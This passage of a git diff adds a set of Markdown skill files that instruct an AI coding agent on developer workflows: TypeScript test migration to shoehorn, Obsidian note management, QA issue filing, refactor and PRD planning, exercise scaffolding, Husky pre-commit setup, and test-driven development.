current architecture is causing friction +- **Solution** — plain English description of what would change +- **Benefits** — explained in terms of locality and leverage, and also in how tests would improve + +**Use CONTEXT.md vocabulary for the domain, and [LANGUAGE.md](LANGUAGE.md) vocabulary for the architecture.** If `CONTEXT.md` defines "Order," talk about "the Order intake module" — not "the FooBarHandler," and not "the Order service." + +**ADR conflicts**: if a candidate contradicts an existing ADR, only surface it when the friction is real enough to warrant revisiting the ADR. Mark it clearly (e.g. _"contradicts ADR-0007 — but worth reopening because…"_). Don't list every theoretical refactor an ADR forbids. + +Do NOT propose interfaces yet. Ask the user: "Which of these would you like to explore?" + +### 3. Grilling loop + +Once the user picks a candidate, drop into a grilling conversation. Walk the design tree with them — constraints, dependencies, the shape of the deepened module, what sits behind the seam, what tests survive. + +Side effects happen inline as decisions crystallize: + +- **Naming a deepened module after a concept not in `CONTEXT.md`?** Add the term to `CONTEXT.md` — same discipline as `/domain-model` (see [CONTEXT-FORMAT.md](../domain-model/CONTEXT-FORMAT.md)). Create the file lazily if it doesn't exist. +- **Sharpening a fuzzy term during the conversation?** Update `CONTEXT.md` right there. +- **User rejects the candidate with a load-bearing reason?** Offer an ADR, framed as: _"Want me to record this as an ADR so future architecture reviews don't re-suggest it?"_ Only offer when the reason would actually be needed by a future explorer to avoid re-suggesting the same thing — skip ephemeral reasons ("not worth it right now") and self-evident ones. See [ADR-FORMAT.md](../domain-model/ADR-FORMAT.md). +- **Want to explore alternative interfaces for the deepened module?** See [INTERFACE-DESIGN.md](INTERFACE-DESIGN.md). diff --git a/imported-skills/mattpocock/migrate-to-shoehorn/SKILL.md b/imported-skills/mattpocock/migrate-to-shoehorn/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..4951c592dd93f22a4d7559e5d2e48e2a5ae6c490 --- /dev/null +++ b/imported-skills/mattpocock/migrate-to-shoehorn/SKILL.md @@ -0,0 +1,118 @@ +--- +name: migrate-to-shoehorn +description: Migrate test files from `as` type assertions to @total-typescript/shoehorn. Use when user mentions shoehorn, wants to replace `as` in tests, or needs partial test data. +--- + +# Migrate to Shoehorn + +## Why shoehorn? + +`shoehorn` lets you pass partial data in tests while keeping TypeScript happy. It replaces `as` assertions with type-safe alternatives. + +**Test code only.** Never use shoehorn in production code. + +Problems with `as` in tests: + +- Trained not to use it +- Must manually specify target type +- Double-as (`as unknown as Type`) for intentionally wrong data + +## Install + +```bash +npm i @total-typescript/shoehorn +``` + +## Migration patterns + +### Large objects with few needed properties + +Before: + +```ts +type Request = { + body: { id: string }; + headers: Record; + cookies: Record; + // ...20 more properties +}; + +it("gets user by id", () => { + // Only care about body.id but must fake entire Request + getUser({ + body: { id: "123" }, + headers: {}, + cookies: {}, + // ...fake all 20 properties + }); +}); +``` + +After: + +```ts +import { fromPartial } from "@total-typescript/shoehorn"; + +it("gets user by id", () => { + getUser( + fromPartial({ + body: { id: "123" }, + }), + ); +}); +``` + +### `as Type` → `fromPartial()` + +Before: + +```ts +getUser({ body: { id: "123" } } as Request); +``` + +After: + +```ts +import { fromPartial } from "@total-typescript/shoehorn"; + +getUser(fromPartial({ body: { id: "123" } })); +``` + +### `as unknown as Type` → `fromAny()` + +Before: + +```ts +getUser({ body: { id: 123 } } as unknown as Request); // wrong type on purpose +``` + +After: + +```ts +import { fromAny } from "@total-typescript/shoehorn"; + +getUser(fromAny({ body: { id: 123 } })); +``` + +## When to use each + +| Function | Use case | +| --------------- | -------------------------------------------------- | +| `fromPartial()` | Pass partial data that still type-checks | +| `fromAny()` | Pass intentionally wrong data (keeps autocomplete) | +| `fromExact()` | Force full object (swap with fromPartial later) | + +## Workflow + +1. **Gather requirements** - ask user: + - What test files have `as` assertions causing problems? + - Are they dealing with large objects where only some properties matter? + - Do they need to pass intentionally wrong data for error testing? + +2. **Install and migrate**: + - [ ] Install: `npm i @total-typescript/shoehorn` + - [ ] Find test files with `as` assertions: `grep -r " as [A-Z]" --include="*.test.ts" --include="*.spec.ts"` + - [ ] Replace `as Type` with `fromPartial()` + - [ ] Replace `as unknown as Type` with `fromAny()` + - [ ] Add imports from `@total-typescript/shoehorn` + - [ ] Run type check to verify diff --git a/imported-skills/mattpocock/obsidian-vault/SKILL.md b/imported-skills/mattpocock/obsidian-vault/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..d9fff2f712ae5c84d671fe0944d372b903fca5f5 --- /dev/null +++ b/imported-skills/mattpocock/obsidian-vault/SKILL.md @@ -0,0 +1,59 @@ +--- +name: obsidian-vault +description: Search, create, and manage notes in the Obsidian vault with wikilinks and index notes. Use when user wants to find, create, or organize notes in Obsidian. +--- + +# Obsidian Vault + +## Vault location + +`/mnt/d/Obsidian Vault/AI Research/` + +Mostly flat at root level. + +## Naming conventions + +- **Index notes**: aggregate related topics (e.g., `Ralph Wiggum Index.md`, `Skills Index.md`, `RAG Index.md`) +- **Title case** for all note names +- No folders for organization - use links and index notes instead + +## Linking + +- Use Obsidian `[[wikilinks]]` syntax: `[[Note Title]]` +- Notes link to dependencies/related notes at the bottom +- Index notes are just lists of `[[wikilinks]]` + +## Workflows + +### Search for notes + +```bash +# Search by filename +find "/mnt/d/Obsidian Vault/AI Research/" -name "*.md" | grep -i "keyword" + +# Search by content +grep -rl "keyword" "/mnt/d/Obsidian Vault/AI Research/" --include="*.md" +``` + +Or use Grep/Glob tools directly on the vault path. + +### Create a new note + +1. Use **Title Case** for filename +2. Write content as a unit of learning (per vault rules) +3. Add `[[wikilinks]]` to related notes at the bottom +4. If part of a numbered sequence, use the hierarchical numbering scheme + +### Find related notes + +Search for `[[Note Title]]` across the vault to find backlinks: + +```bash +grep -rl "\\[\\[Note Title\\]\\]" "/mnt/d/Obsidian Vault/AI Research/" +``` + +### Find index notes + +```bash +find "/mnt/d/Obsidian Vault/AI Research/" -name "*Index*" +``` diff --git a/imported-skills/mattpocock/qa/SKILL.md b/imported-skills/mattpocock/qa/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..9b9fbdcfe5cdb922cedca121ac6978f18976009a --- /dev/null +++ b/imported-skills/mattpocock/qa/SKILL.md @@ -0,0 +1,130 @@ +--- +name: qa +description: Interactive QA session where user reports bugs or issues conversationally, and the agent files GitHub issues. Explores the codebase in the background for context and domain language. Use when user wants to report bugs, do QA, file issues conversationally, or mentions "QA session". +--- + +# QA Session + +Run an interactive QA session. The user describes problems they're encountering. You clarify, explore the codebase for context, and file GitHub issues that are durable, user-focused, and use the project's domain language. + +## For each issue the user raises + +### 1. Listen and lightly clarify + +Let the user describe the problem in their own words. Ask **at most 2-3 short clarifying questions** focused on: + +- What they expected vs what actually happened +- Steps to reproduce (if not obvious) +- Whether it's consistent or intermittent + +Do NOT over-interview. If the description is clear enough to file, move on. + +### 2. Explore the codebase in the background + +While talking to the user, kick off an Agent (subagent_type=Explore) in the background to understand the relevant area. The goal is NOT to find a fix — it's to: + +- Learn the domain language used in that area (check UBIQUITOUS_LANGUAGE.md) +- Understand what the feature is supposed to do +- Identify the user-facing behavior boundary + +This context helps you write a better issue — but the issue itself should NOT reference specific files, line numbers, or internal implementation details. + +### 3. Assess scope: single issue or breakdown? + +Before filing, decide whether this is a **single issue** or needs to be **broken down** into multiple issues. + +Break down when: + +- The fix spans multiple independent areas (e.g. "the form validation is wrong AND the success message is missing AND the redirect is broken") +- There are clearly separable concerns that different people could work on in parallel +- The user describes something that has multiple distinct failure modes or symptoms + +Keep as a single issue when: + +- It's one behavior that's wrong in one place +- The symptoms are all caused by the same root behavior + +### 4. File the GitHub issue(s) + +Create issues with `gh issue create`. Do NOT ask the user to review first — just file and share URLs. + +Issues must be **durable** — they should still make sense after major refactors. Write from the user's perspective. + +#### For a single issue + +Use this template: + +``` +## What happened + +[Describe the actual behavior the user experienced, in plain language] + +## What I expected + +[Describe the expected behavior] + +## Steps to reproduce + +1. [Concrete, numbered steps a developer can follow] +2. [Use domain terms from the codebase, not internal module names] +3. [Include relevant inputs, flags, or configuration] + +## Additional context + +[Any extra observations from the user or from codebase exploration that help frame the issue — e.g. "this only happens when using the Docker layer, not the filesystem layer" — use domain language but don't cite files] +``` + +#### For a breakdown (multiple issues) + +Create issues in dependency order (blockers first) so you can reference real issue numbers. + +Use this template for each sub-issue: + +``` +## Parent issue + +# (if you created a tracking issue) or "Reported during QA session" + +## What's wrong + +[Describe this specific behavior problem — just this slice, not the whole report] + +## What I expected + +[Expected behavior for this specific slice] + +## Steps to reproduce + +1. [Steps specific to THIS issue] + +## Blocked by + +- # (if this issue can't be fixed until another is resolved) + +Or "None — can start immediately" if no blockers. + +## Additional context + +[Any extra observations relevant to this slice] +``` + +When creating a breakdown: + +- **Prefer many thin issues over few thick ones** — each should be independently fixable and verifiable +- **Mark blocking relationships honestly** — if issue B genuinely can't be tested until issue A is fixed, say so. If they're independent, mark both as "None — can start immediately" +- **Create issues in dependency order** so you can reference real issue numbers in "Blocked by" +- **Maximize parallelism** — the goal is that multiple people (or agents) can grab different issues simultaneously + +#### Rules for all issue bodies + +- **No file paths or line numbers** — these go stale +- **Use the project's domain language** (check UBIQUITOUS_LANGUAGE.md if it exists) +- **Describe behaviors, not code** — "the sync service fails to apply the patch" not "applyPatch() throws on line 42" +- **Reproduction steps are mandatory** — if you can't determine them, ask the user +- **Keep it concise** — a developer should be able to read the issue in 30 seconds + +After filing, print all issue URLs (with blocking relationships summarized) and ask: "Next issue, or are we done?" + +### 5. Continue the session + +Keep going until the user says they're done. Each issue is independent — don't batch them. diff --git a/imported-skills/mattpocock/request-refactor-plan/SKILL.md b/imported-skills/mattpocock/request-refactor-plan/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..4737ca69cd7acac9e9144db94fac04330b0bae3a --- /dev/null +++ b/imported-skills/mattpocock/request-refactor-plan/SKILL.md @@ -0,0 +1,68 @@ +--- +name: request-refactor-plan +description: Create a detailed refactor plan with tiny commits via user interview, then file it as a GitHub issue. Use when user wants to plan a refactor, create a refactoring RFC, or break a refactor into safe incremental steps. +--- + +This skill will be invoked when the user wants to create a refactor request. You should go through the steps below. You may skip steps if you don't consider them necessary. + +1. Ask the user for a long, detailed description of the problem they want to solve and any potential ideas for solutions. + +2. Explore the repo to verify their assertions and understand the current state of the codebase. + +3. Ask whether they have considered other options, and present other options to them. + +4. Interview the user about the implementation. Be extremely detailed and thorough. + +5. Hammer out the exact scope of the implementation. Work out what you plan to change and what you plan not to change. + +6. Look in the codebase to check for test coverage of this area of the codebase. If there is insufficient test coverage, ask the user what their plans for testing are. + +7. Break the implementation into a plan of tiny commits. Remember Martin Fowler's advice to "make each refactoring step as small as possible, so that you can always see the program working." + +8. Create a GitHub issue with the refactor plan. Use the following template for the issue description: + + + +## Problem Statement + +The problem that the developer is facing, from the developer's perspective. + +## Solution + +The solution to the problem, from the developer's perspective. + +## Commits + +A LONG, detailed implementation plan. Write the plan in plain English, breaking down the implementation into the tiniest commits possible. Each commit should leave the codebase in a working state. + +## Decision Document + +A list of implementation decisions that were made. This can include: + +- The modules that will be built/modified +- The interfaces of those modules that will be modified +- Technical clarifications from the developer +- Architectural decisions +- Schema changes +- API contracts +- Specific interactions + +Do NOT include specific file paths or code snippets. They may end up being outdated very quickly. + +## Testing Decisions + +A list of testing decisions that were made. Include: + +- A description of what makes a good test (only test external behavior, not implementation details) +- Which modules will be tested +- Prior art for the tests (i.e. similar types of tests in the codebase) + +## Out of Scope + +A description of the things that are out of scope for this refactor. + +## Further Notes (optional) + +Any further notes about the refactor. + + diff --git a/imported-skills/mattpocock/scaffold-exercises/SKILL.md b/imported-skills/mattpocock/scaffold-exercises/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..0606ebc8e9e1ffa7f9f3ae27c3eaa259f0f329eb --- /dev/null +++ b/imported-skills/mattpocock/scaffold-exercises/SKILL.md @@ -0,0 +1,106 @@ +--- +name: scaffold-exercises +description: Create exercise directory structures with sections, problems, solutions, and explainers that pass linting. Use when user wants to scaffold exercises, create exercise stubs, or set up a new course section. +--- + +# Scaffold Exercises + +Create exercise directory structures that pass `pnpm ai-hero-cli internal lint`, then commit with `git commit`. + +## Directory naming + +- **Sections**: `XX-section-name/` inside `exercises/` (e.g., `01-retrieval-skill-building`) +- **Exercises**: `XX.YY-exercise-name/` inside a section (e.g., `01.03-retrieval-with-bm25`) +- Section number = `XX`, exercise number = `XX.YY` +- Names are dash-case (lowercase, hyphens) + +## Exercise variants + +Each exercise needs at least one of these subfolders: + +- `problem/` - student workspace with TODOs +- `solution/` - reference implementation +- `explainer/` - conceptual material, no TODOs + +When stubbing, default to `explainer/` unless the plan specifies otherwise. + +## Required files + +Each subfolder (`problem/`, `solution/`, `explainer/`) needs a `readme.md` that: + +- Is **not empty** (must have real content, even a single title line works) +- Has no broken links + +When stubbing, create a minimal readme with a title and a description: + +```md +# Exercise Title + +Description here +``` + +If the subfolder has code, it also needs a `main.ts` (>1 line). But for stubs, a readme-only exercise is fine. + +## Workflow + +1. **Parse the plan** - extract section names, exercise names, and variant types +2. **Create directories** - `mkdir -p` for each path +3. **Create stub readmes** - one `readme.md` per variant folder with a title +4. **Run lint** - `pnpm ai-hero-cli internal lint` to validate +5. **Fix any errors** - iterate until lint passes + +## Lint rules summary + +The linter (`pnpm ai-hero-cli internal lint`) checks: + +- Each exercise has subfolders (`problem/`, `solution/`, `explainer/`) +- At least one of `problem/`, `explainer/`, or `explainer.1/` exists +- `readme.md` exists and is non-empty in the primary subfolder +- No `.gitkeep` files +- No `speaker-notes.md` files +- No broken links in readmes +- No `pnpm run exercise` commands in readmes +- `main.ts` required per subfolder unless it's readme-only + +## Moving/renaming exercises + +When renumbering or moving exercises: + +1. Use `git mv` (not `mv`) to rename directories - preserves git history +2. Update the numeric prefix to maintain order +3. Re-run lint after moves + +Example: + +```bash +git mv exercises/01-retrieval/01.03-embeddings exercises/01-retrieval/01.04-embeddings +``` + +## Example: stubbing from a plan + +Given a plan like: + +``` +Section 05: Memory Skill Building +- 05.01 Introduction to Memory +- 05.02 Short-term Memory (explainer + problem + solution) +- 05.03 Long-term Memory +``` + +Create: + +```bash +mkdir -p exercises/05-memory-skill-building/05.01-introduction-to-memory/explainer +mkdir -p exercises/05-memory-skill-building/05.02-short-term-memory/{explainer,problem,solution} +mkdir -p exercises/05-memory-skill-building/05.03-long-term-memory/explainer +``` + +Then create readme stubs: + +``` +exercises/05-memory-skill-building/05.01-introduction-to-memory/explainer/readme.md -> "# Introduction to Memory" +exercises/05-memory-skill-building/05.02-short-term-memory/explainer/readme.md -> "# Short-term Memory" +exercises/05-memory-skill-building/05.02-short-term-memory/problem/readme.md -> "# Short-term Memory" +exercises/05-memory-skill-building/05.02-short-term-memory/solution/readme.md -> "# Short-term Memory" +exercises/05-memory-skill-building/05.03-long-term-memory/explainer/readme.md -> "# Long-term Memory" +``` diff --git a/imported-skills/mattpocock/setup-pre-commit/SKILL.md b/imported-skills/mattpocock/setup-pre-commit/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..f66966ab7b2b656dbdb37972b9d6204f247f75d7 --- /dev/null +++ b/imported-skills/mattpocock/setup-pre-commit/SKILL.md @@ -0,0 +1,91 @@ +--- +name: setup-pre-commit +description: Set up Husky pre-commit hooks with lint-staged (Prettier), type checking, and tests in the current repo. Use when user wants to add pre-commit hooks, set up Husky, configure lint-staged, or add commit-time formatting/typechecking/testing. +--- + +# Setup Pre-Commit Hooks + +## What This Sets Up + +- **Husky** pre-commit hook +- **lint-staged** running Prettier on all staged files +- **Prettier** config (if missing) +- **typecheck** and **test** scripts in the pre-commit hook + +## Steps + +### 1. Detect package manager + +Check for `package-lock.json` (npm), `pnpm-lock.yaml` (pnpm), `yarn.lock` (yarn), `bun.lockb` (bun). Use whichever is present. Default to npm if unclear. + +### 2. Install dependencies + +Install as devDependencies: + +``` +husky lint-staged prettier +``` + +### 3. Initialize Husky + +```bash +npx husky init +``` + +This creates `.husky/` dir and adds `prepare: "husky"` to package.json. + +### 4. Create `.husky/pre-commit` + +Write this file (no shebang needed for Husky v9+): + +``` +npx lint-staged +npm run typecheck +npm run test +``` + +**Adapt**: Replace `npm` with detected package manager. If repo has no `typecheck` or `test` script in package.json, omit those lines and tell the user. + +### 5. Create `.lintstagedrc` + +```json +{ + "*": "prettier --ignore-unknown --write" +} +``` + +### 6. Create `.prettierrc` (if missing) + +Only create if no Prettier config exists. Use these defaults: + +```json +{ + "useTabs": false, + "tabWidth": 2, + "printWidth": 80, + "singleQuote": false, + "trailingComma": "es5", + "semi": true, + "arrowParens": "always" +} +``` + +### 7. Verify + +- [ ] `.husky/pre-commit` exists and is executable +- [ ] `.lintstagedrc` exists +- [ ] `prepare` script in package.json is `"husky"` +- [ ] `prettier` config exists +- [ ] Run `npx lint-staged` to verify it works + +### 8. Commit + +Stage all changed/created files and commit with message: `Add pre-commit hooks (husky + lint-staged + prettier)` + +This will run through the new pre-commit hooks — a good smoke test that everything works. + +## Notes + +- Husky v9+ doesn't need shebangs in hook files +- `prettier --ignore-unknown` skips files Prettier can't parse (images, etc.) +- The pre-commit runs lint-staged first (fast, staged-only), then full typecheck and tests diff --git a/imported-skills/mattpocock/tdd/SKILL.md b/imported-skills/mattpocock/tdd/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..ac21ec1b2f71150862b7d0d9c2136d87ea087379 --- /dev/null +++ b/imported-skills/mattpocock/tdd/SKILL.md @@ -0,0 +1,107 @@ +--- +name: tdd +description: Test-driven development with red-green-refactor loop. Use when user wants to build features or fix bugs using TDD, mentions "red-green-refactor", wants integration tests, or asks for test-first development. +--- + +# Test-Driven Development + +## Philosophy + +**Core principle**: Tests should verify behavior through public interfaces, not implementation details. Code can change entirely; tests shouldn't. + +**Good tests** are integration-style: they exercise real code paths through public APIs. They describe _what_ the system does, not _how_ it does it. A good test reads like a specification - "user can checkout with valid cart" tells you exactly what capability exists. These tests survive refactors because they don't care about internal structure. + +**Bad tests** are coupled to implementation. They mock internal collaborators, test private methods, or verify through external means (like querying a database directly instead of using the interface). The warning sign: your test breaks when you refactor, but behavior hasn't changed. If you rename an internal function and tests fail, those tests were testing implementation, not behavior. + +See [tests.md](tests.md) for examples and [mocking.md](mocking.md) for mocking guidelines. + +## Anti-Pattern: Horizontal Slices + +**DO NOT write all tests first, then all implementation.** This is "horizontal slicing" - treating RED as "write all tests" and GREEN as "write all code." + +This produces **crap tests**: + +- Tests written in bulk test _imagined_ behavior, not _actual_ behavior +- You end up testing the _shape_ of things (data structures, function signatures) rather than user-facing behavior +- Tests become insensitive to real changes - they pass when behavior breaks, fail when behavior is fine +- You outrun your headlights, committing to test structure before understanding the implementation + +**Correct approach**: Vertical slices via tracer bullets. One test → one implementation → repeat. Each test responds to what you learned from the previous cycle. Because you just wrote the code, you know exactly what behavior matters and how to verify it. + +``` +WRONG (horizontal): + RED: test1, test2, test3, test4, test5 + GREEN: impl1, impl2, impl3, impl4, impl5 + +RIGHT (vertical): + RED→GREEN: test1→impl1 + RED→GREEN: test2→impl2 + RED→GREEN: test3→impl3 + ... +``` + +## Workflow + +### 1. Planning + +Before writing any code: + +- [ ] Confirm with user what interface changes are needed +- [ ] Confirm with user which behaviors to test (prioritize) +- [ ] Identify opportunities for [deep modules](deep-modules.md) (small interface, deep implementation) +- [ ] Design interfaces for [testability](interface-design.md) +- [ ] List the behaviors to test (not implementation steps) +- [ ] Get user approval on the plan + +Ask: "What should the public interface look like? Which behaviors are most important to test?" + +**You can't test everything.** Confirm with the user exactly which behaviors matter most. Focus testing effort on critical paths and complex logic, not every possible edge case. + +### 2. Tracer Bullet + +Write ONE test that confirms ONE thing about the system: + +``` +RED: Write test for first behavior → test fails +GREEN: Write minimal code to pass → test passes +``` + +This is your tracer bullet - proves the path works end-to-end. + +### 3. Incremental Loop + +For each remaining behavior: + +``` +RED: Write next test → fails +GREEN: Minimal code to pass → passes +``` + +Rules: + +- One test at a time +- Only enough code to pass current test +- Don't anticipate future tests +- Keep tests focused on observable behavior + +### 4. Refactor + +After all tests pass, look for [refactor candidates](refactoring.md): + +- [ ] Extract duplication +- [ ] Deepen modules (move complexity behind simple interfaces) +- [ ] Apply SOLID principles where natural +- [ ] Consider what new code reveals about existing code +- [ ] Run tests after each refactor step + +**Never refactor while RED.** Get to GREEN first. + +## Checklist Per Cycle + +``` +[ ] Test describes behavior, not implementation +[ ] Test uses public interface only +[ ] Test would survive internal refactor +[ ] Code is minimal for this test +[ ] No speculative features added +``` diff --git a/imported-skills/mattpocock/tdd/deep-modules.md b/imported-skills/mattpocock/tdd/deep-modules.md new file mode 100644 index 0000000000000000000000000000000000000000..17c02b738107de5b1745005e29f2a999f518d10b --- /dev/null +++ b/imported-skills/mattpocock/tdd/deep-modules.md @@ -0,0 +1,33 @@ +# Deep Modules + +From "A Philosophy of Software Design": + +**Deep module** = small interface + lots of implementation + +``` +┌─────────────────────┐ +│ Small Interface │ ← Few methods, simple params +├─────────────────────┤ +│ │ +│ │ +│ Deep Implementation│ ← Complex logic hidden +│ │ +│ │ +└─────────────────────┘ +``` + +**Shallow module** = large interface + little implementation (avoid) + +``` +┌─────────────────────────────────┐ +│ Large Interface │ ← Many methods, complex params +├─────────────────────────────────┤ +│ Thin Implementation │ ← Just passes through +└─────────────────────────────────┘ +``` + +When designing interfaces, ask: + +- Can I reduce the number of methods? +- Can I simplify the parameters? +- Can I hide more complexity inside? diff --git a/imported-skills/mattpocock/tdd/interface-design.md b/imported-skills/mattpocock/tdd/interface-design.md new file mode 100644 index 0000000000000000000000000000000000000000..636937d832015bc0fb41eb51616fa8c53a353c95 --- /dev/null +++ b/imported-skills/mattpocock/tdd/interface-design.md @@ -0,0 +1,31 @@ +# Interface Design for Testability + +Good interfaces make testing natural: + +1. **Accept dependencies, don't create them** + + ```typescript + // Testable + function processOrder(order, paymentGateway) {} + + // Hard to test + function processOrder(order) { + const gateway = new StripeGateway(); + } + ``` + +2. **Return results, don't produce side effects** + + ```typescript + // Testable + function calculateDiscount(cart): Discount {} + + // Hard to test + function applyDiscount(cart): void { + cart.total -= discount; + } + ``` + +3. **Small surface area** + - Fewer methods = fewer tests needed + - Fewer params = simpler test setup diff --git a/imported-skills/mattpocock/tdd/mocking.md b/imported-skills/mattpocock/tdd/mocking.md new file mode 100644 index 0000000000000000000000000000000000000000..e66aa6ee918a7089f8dd4de98a336e70efd1b40f --- /dev/null +++ b/imported-skills/mattpocock/tdd/mocking.md @@ -0,0 +1,59 @@ +# When to Mock + +Mock at **system boundaries** only: + +- External APIs (payment, email, etc.) +- Databases (sometimes - prefer test DB) +- Time/randomness +- File system (sometimes) + +Don't mock: + +- Your own classes/modules +- Internal collaborators +- Anything you control + +## Designing for Mockability + +At system boundaries, design interfaces that are easy to mock: + +**1. Use dependency injection** + +Pass external dependencies in rather than creating them internally: + +```typescript +// Easy to mock +function processPayment(order, paymentClient) { + return paymentClient.charge(order.total); +} + +// Hard to mock +function processPayment(order) { + const client = new StripeClient(process.env.STRIPE_KEY); + return client.charge(order.total); +} +``` + +**2. Prefer SDK-style interfaces over generic fetchers** + +Create specific functions for each external operation instead of one generic function with conditional logic: + +```typescript +// GOOD: Each function is independently mockable +const api = { + getUser: (id) => fetch(`/users/${id}`), + getOrders: (userId) => fetch(`/users/${userId}/orders`), + createOrder: (data) => fetch('/orders', { method: 'POST', body: data }), +}; + +// BAD: Mocking requires conditional logic inside the mock +const api = { + fetch: (endpoint, options) => fetch(endpoint, options), +}; +``` + +The SDK approach means: +- Each mock returns one specific shape +- No conditional logic in test setup +- Easier to see which endpoints a test exercises +- Type safety per endpoint diff --git a/imported-skills/mattpocock/tdd/refactoring.md b/imported-skills/mattpocock/tdd/refactoring.md new file mode 100644 index 0000000000000000000000000000000000000000..5d475a4fc64b129c7365616c4061c91aeee799de --- /dev/null +++ b/imported-skills/mattpocock/tdd/refactoring.md @@ -0,0 +1,10 @@ +# Refactor Candidates + +After TDD cycle, look for: + +- **Duplication** → Extract function/class +- **Long methods** → Break into private helpers (keep tests on public interface) +- **Shallow modules** → Combine or deepen +- **Feature envy** → Move logic to where data lives +- **Primitive obsession** → Introduce value objects +- **Existing code** the new code reveals as problematic diff --git a/imported-skills/mattpocock/tdd/tests.md b/imported-skills/mattpocock/tdd/tests.md new file mode 100644 index 0000000000000000000000000000000000000000..e817589d5cbd2718a7141793465674cec8079414 --- /dev/null +++ b/imported-skills/mattpocock/tdd/tests.md @@ -0,0 +1,61 @@ +# Good and Bad Tests + +## Good Tests + +**Integration-style**: Test through real interfaces, not mocks of internal parts. + +```typescript +// GOOD: Tests observable behavior +test("user can checkout with valid cart", async () => { + const cart = createCart(); + cart.add(product); + const result = await checkout(cart, paymentMethod); + expect(result.status).toBe("confirmed"); +}); +``` + +Characteristics: + +- Tests behavior users/callers care about +- Uses public API only +- Survives internal refactors +- Describes WHAT, not HOW +- One logical assertion per test + +## Bad Tests + +**Implementation-detail tests**: Coupled to internal structure. + +```typescript +// BAD: Tests implementation details +test("checkout calls paymentService.process", async () => { + const mockPayment = jest.mock(paymentService); + await checkout(cart, payment); + expect(mockPayment.process).toHaveBeenCalledWith(cart.total); +}); +``` + +Red flags: + +- Mocking internal collaborators +- Testing private methods +- Asserting on call counts/order +- Test breaks when refactoring without behavior change +- Test name describes HOW not WHAT +- Verifying through external means instead of interface + +```typescript +// BAD: Bypasses interface to verify +test("createUser saves to database", async () => { + await createUser({ name: "Alice" }); + const row = await db.query("SELECT * FROM users WHERE name = ?", ["Alice"]); + expect(row).toBeDefined(); +}); + +// GOOD: Verifies through interface +test("createUser makes user retrievable", async () => { + const user = await createUser({ name: "Alice" }); + const retrieved = await getUser(user.id); + expect(retrieved.name).toBe("Alice"); +}); +``` diff --git a/imported-skills/mattpocock/to-issues/SKILL.md b/imported-skills/mattpocock/to-issues/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..6eae7bcd1eaf852cd0b9bbd2dc412d47353c9c29 --- /dev/null +++ b/imported-skills/mattpocock/to-issues/SKILL.md @@ -0,0 +1,79 @@ +--- +name: to-issues +description: Break a plan, spec, or PRD into independently-grabbable GitHub issues using tracer-bullet vertical slices. Use when user wants to convert a plan into issues, create implementation tickets, or break down work into issues. +--- + +# To Issues + +Break a plan into independently-grabbable GitHub issues using vertical slices (tracer bullets). + +## Process + +### 1. Gather context + +Work from whatever is already in the conversation context. If the user passes a GitHub issue number or URL as an argument, fetch it with `gh issue view ` (with comments). + +### 2. Explore the codebase (optional) + +If you have not already explored the codebase, do so to understand the current state of the code. + +### 3. Draft vertical slices + +Break the plan into **tracer bullet** issues. Each issue is a thin vertical slice that cuts through ALL integration layers end-to-end, NOT a horizontal slice of one layer. + +Slices may be 'HITL' or 'AFK'. HITL slices require human interaction, such as an architectural decision or a design review. AFK slices can be implemented and merged without human interaction. Prefer AFK over HITL where possible. + + +- Each slice delivers a narrow but COMPLETE path through every layer (schema, API, UI, tests) +- A completed slice is demoable or verifiable on its own +- Prefer many thin slices over few thick ones + + +### 4. Quiz the user + +Present the proposed breakdown as a numbered list. For each slice, show: + +- **Title**: short descriptive name +- **Type**: HITL / AFK +- **Blocked by**: which other slices (if any) must complete first +- **User stories covered**: which user stories this addresses (if the source material has them) + +Ask the user: + +- Does the granularity feel right? (too coarse / too fine) +- Are the dependency relationships correct? +- Should any slices be merged or split further? +- Are the correct slices marked as HITL and AFK? + +Iterate until the user approves the breakdown. + +### 5. Create the GitHub issues + +For each approved slice, create a GitHub issue using `gh issue create`. Use the issue body template below. + +Create issues in dependency order (blockers first) so you can reference real issue numbers in the "Blocked by" field. + + +## Parent + +# (if the source was a GitHub issue, otherwise omit this section) + +## What to build + +A concise description of this vertical slice. Describe the end-to-end behavior, not layer-by-layer implementation. + +## Acceptance criteria + +- [ ] Criterion 1 +- [ ] Criterion 2 +- [ ] Criterion 3 + +## Blocked by + +- Blocked by # (if any) + +Or "None - can start immediately" if no blockers. + + + +Do NOT close or modify any parent issue. diff --git a/imported-skills/mattpocock/to-prd/SKILL.md b/imported-skills/mattpocock/to-prd/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..5f9a58eb0ba1947153122e875ec7b1692c63d498 --- /dev/null +++ b/imported-skills/mattpocock/to-prd/SKILL.md @@ -0,0 +1,72 @@ +--- +name: to-prd +description: Turn the current conversation context into a PRD and submit it as a GitHub issue. Use when user wants to create a PRD from the current context. +--- + +This skill takes the current conversation context and codebase understanding and produces a PRD. Do NOT interview the user — just synthesize what you already know. + +## Process + +1. Explore the repo to understand the current state of the codebase, if you haven't already. + +2. Sketch out the major modules you will need to build or modify to complete the implementation. Actively look for opportunities to extract deep modules that can be tested in isolation. + +A deep module (as opposed to a shallow module) is one which encapsulates a lot of functionality in a simple, testable interface which rarely changes. + +Check with the user that these modules match their expectations. Check with the user which modules they want tests written for. + +3. Write the PRD using the template below and submit it as a GitHub issue. + + + +## Problem Statement + +The problem that the user is facing, from the user's perspective. + +## Solution + +The solution to the problem, from the user's perspective. + +## User Stories + +A LONG, numbered list of user stories. Each user story should be in the format of: + +1. As an , I want a , so that + + +1. As a mobile bank customer, I want to see balance on my accounts, so that I can make better informed decisions about my spending + + +This list of user stories should be extremely extensive and cover all aspects of the feature. + +## Implementation Decisions + +A list of implementation decisions that were made. This can include: + +- The modules that will be built/modified +- The interfaces of those modules that will be modified +- Technical clarifications from the developer +- Architectural decisions +- Schema changes +- API contracts +- Specific interactions + +Do NOT include specific file paths or code snippets. They may end up being outdated very quickly. + +## Testing Decisions + +A list of testing decisions that were made. Include: + +- A description of what makes a good test (only test external behavior, not implementation details) +- Which modules will be tested +- Prior art for the tests (i.e. similar types of tests in the codebase) + +## Out of Scope + +A description of the things that are out of scope for this PRD. + +## Further Notes + +Any further notes about the feature. + + diff --git 